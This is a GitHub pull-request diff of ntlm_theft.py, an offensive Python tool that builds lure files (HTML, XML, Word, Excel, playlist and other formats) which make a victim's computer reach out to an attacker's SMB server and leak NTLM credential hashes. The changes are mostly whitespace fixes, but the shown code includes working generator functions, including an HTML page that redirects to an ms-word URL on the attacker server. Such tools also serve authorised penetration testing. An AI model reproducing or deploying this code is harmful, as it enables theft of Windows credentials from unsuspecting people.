Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
48 changes: 24 additions & 24 deletions ntlm_theft.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/env
#!/usr/bin/env
# -*- coding: utf-8 -*-
from __future__ import print_function

Expand Down Expand Up @@ -44,7 +44,7 @@
version='%(prog)s 0.1.0 : ntlm_theft by Jacob Wilkin(Greenwolf)')
parser.add_argument('-vv', '--verbose', action='store_true',dest='vv',help='Verbose Mode')
parser.add_argument('-g', '--generate',
action='store',
action='store',
dest='generate',
required=True,
choices=set((
Expand All @@ -58,7 +58,7 @@
"htm",
"docx",
"xlsx",
"wax",
"wax",
"m3u",
"asx",
"jnlp",
Expand Down Expand Up @@ -134,7 +134,7 @@ def create_xml(generate,server,filename):
# .xml with remote includepicture field attack
# Filename: shareattack.xml, action=open, attacks=word
def create_xml_includepicture(generate,server, filename):
documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml")
documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml")
# Read the template file
file = open(documentfilename, 'r', encoding="utf8")
filedata = file.read()
Expand Down Expand Up @@ -165,21 +165,21 @@ def create_htm_handler(generate,server,filename):
file.write('''<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx';
location.href = 'ms-word:ofe|u|\\''' + server + '''\\leak\\leak.docx';
</script>
</html>''')
file.close()
print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)")

# .docx file with remote includepicture field attack
def create_docx_includepicture(generate,server,filename):
# Source path
src = os.path.join(script_directory,"templates", "docx-includepicture-template")
# Destination path
# Source path
src = os.path.join(script_directory,"templates", "docx-includepicture-template")
# Destination path
dest = os.path.join("docx-includepicture-template")
# Copy the content of
# source to destination
shutil.copytree(src, dest)
# Copy the content of
# source to destination
shutil.copytree(src, dest)
documentfilename = os.path.join("docx-includepicture-template", "word", "_rels", "document.xml.rels")
# Read the template file
file = open(documentfilename, 'r')
Expand All @@ -200,13 +200,13 @@ def create_docx_includepicture(generate,server,filename):
# Filename: shareattack.docx (unzip and put inside word\_rels\settings.xml.rels), action=open, attacks=word
# Instructions: Word > Create New Document > Choose a Template > Unzip docx, change target in word\_rels\settings.xml.rels change target to smb server
def create_docx_remote_template(generate,server,filename):
# Source path
src = os.path.join(script_directory,"templates", "docx-remotetemplate-template")
# Destination path
# Source path
src = os.path.join(script_directory,"templates", "docx-remotetemplate-template")
# Destination path
dest = os.path.join("docx-remotetemplate-template")
# Copy the content of
# source to destination
shutil.copytree(src, dest)
# Copy the content of
# source to destination
shutil.copytree(src, dest)
documentfilename = os.path.join("docx-remotetemplate-template", "word", "_rels", "settings.xml.rels")
# Read the template file
file = open(documentfilename, 'r')
Expand All @@ -225,13 +225,13 @@ def create_docx_remote_template(generate,server,filename):

# .docx file with Frameset attack
def create_docx_frameset(generate,server,filename):
# Source path
src = os.path.join(script_directory,"templates", "docx-frameset-template")
# Destination path
# Source path
src = os.path.join(script_directory,"templates", "docx-frameset-template")
# Destination path
dest = os.path.join("docx-frameset-template")
# Copy the content of
# source to destination
shutil.copytree(src, dest)
# Copy the content of
# source to destination
shutil.copytree(src, dest)
documentfilename = os.path.join("docx-frameset-template", "word", "_rels", "webSettings.xml.rels")
# Read the template file
file = open(documentfilename, 'r')
Expand Down Expand Up @@ -631,7 +631,7 @@ def create_lnk(generate,server,filename):

elif(args.generate == "xlsx"):
create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx"))

elif(args.generate == "wax"):
create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax"))

Expand Down